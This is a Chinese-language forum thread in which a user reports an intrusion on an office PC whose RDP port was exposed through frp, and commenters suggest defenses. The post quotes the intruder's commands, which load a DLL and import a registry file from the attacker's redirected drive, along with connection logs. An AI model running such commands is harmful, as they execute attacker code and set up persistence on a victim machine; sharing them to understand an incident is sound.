3389 端口开了两天,就被人搞了... - V2EX
Droog
V2EX &bsp;  问与答

3389 端口开了两天,就被人搞了...

  •  
  •   Droog Oct 27, 2022 4697 views
    This topic created in 1293 days ago, the information mentioned may be changed or developed.

    办公室有台没用的电脑,拿来刷网课。用 frp 打洞,直接开的 3389 端口,用 mstsc 远程控制。 才开了 2 天,就被人搞进来了,应该是弱口令的问题。

    看到别人的操作记录

    请问有人知道这是操作了什么不?

    rundll32 \\tsclient\a\a.dll a regedit /s \\tsclient\a\r.reg 

    frp 服务端日志

    2022/10/27 06:17:01 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:38210] 2022/10/27 06:17:01 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:39680] 2022/10/27 06:17:02 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:40964] 2022/10/27 06:17:03 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:42406] 2022/10/27 06:17:03 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:43746] 2022/10/27 06:17:04 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:44924] 2022/10/27 06:17:05 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:46104] 2022/10/27 06:17:05 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:47126] 2022/10/27 06:17:06 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:48130] 2022/10/27 06:17:07 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [154.89.5.220:49162] 2022/10/27 06:38:56 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.15.254.218:49298] 2022/10/27 06:48:35 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.26.179.7:55213] 2022/10/27 06:55:41 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [77.83.36.44:37643] 2022/10/27 06:55:41 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [77.83.36.44:38109] 2022/10/27 07:04:11 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.15.254.218:62334] 2022/10/27 07:12:42 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [185.170.144.46:3172] 2022/10/27 07:13:48 [I] [proxy.go:162] [fcd53d7a449ce30e] [rdp] get a user connection [218.15.254.218:56728] 2022/10/27 07:16:39 [I] [control.go:309] [fcd53d7a449ce30e] control writer is closing 
    20 replies    2022-10-28 18:27:54 +08:00
    7zlid
        1
    7zlid  
       Oct 27, 2022 via Android
    重装系统吧
    cndns
        2
    cndns  
       Oct 27, 2022
    RDP 使用 3389 和 SSH 使用 22 的都是勇士
    Droog
        3
    Droog  
    OP
       Oct 27, 2022
    @cndns 收到教训了...
    @7zlid 估计只有这样了!
    kingpo
        4
    kingpo  
       Oct 27, 2022
    改下 3389 端口
        5
    maskerTUI  
       Oct 27, 2022
    弱口令才是真正的问题
    maskerTUI
    villivateur
        6
    villivateur  
       Oct 27, 2022   1
    @cndns 用标准端口没有任何问题,比如 SSH ,如果关闭密码登录,只允许 RSA 密钥登录,随便黑客怎样都不可能攻破
    flexbug
        7
    flexbug  
       Oct 27, 2022 via iPhone
    建议使用向日葵或者 todesk 不要自己创造风险
    mcluyu
        8
    mcluyu  
       Oct 27, 2022
    默认用户名(或者容易猜到的常见用户名)+ 弱口令, 至于使用什么端口根本无所谓。
    vmebeh
        9
    vmebeh  
       Oct 27, 2022 via iPhone   1
    套个 wireguard 回来随便用
    Ufo666
        10
    Ufo666  
       Oct 27, 2022
    @cndns 别吓我,我们公司就是 22
    Droog
        11
    Droog  
    OP
       Oct 27, 2022
    @vmebeh 我试试看。
    0x73346b757234
        12
    0x73346b757234  
       Oct 27, 2022
    黑阔用 rundll32 白加黑的方式执行了一个恶意 dll 文件,猜测是远控木马。注册表加了个一个记录也许是做了持久化。
    kongkongye
        13
    kongkongye  
       Oct 27, 2022 via iPhone
    我上次也是,用 frp 无密码暴露了 docker
    ungrown
        14
    ungrown  
       Oct 27, 2022 via Android
    @villivateur #6 rdp 也可以这样吗只允许密钥登录?
    zero47
        15
    zero47  
       Oct 27, 2022
    之前用凉心云搭 transmission 远程下载,每次登上去都提示密码错误次数过多,要求重启。什么端口都没用,专门有人恶意扫端口的,还是好好加密比较重要。ssh 用 22 我觉得没问题,用证书加密就好。
    MasterofNone
        16
    MasterofNone  
       Oct 27, 2022
    rdp 可以上证书验证吗?
    swulling
        17
    swulling  
       Oct 27, 2022 via iPhone
    不要暴露任何控制端口到公网
    aver4vex
        18
    aver4vex  
       Oct 27, 2022
    我现在就是软路由开 wireguard 服务。随便折腾。
    PerFectTime
        19
    PerFectTime  
       Oct 28, 2022
    VPN 连回家最安全,商业公司的软件你也不知道里面有没有 0day
    HFX3389
        20
    HFX3389  
       Oct 28, 2022
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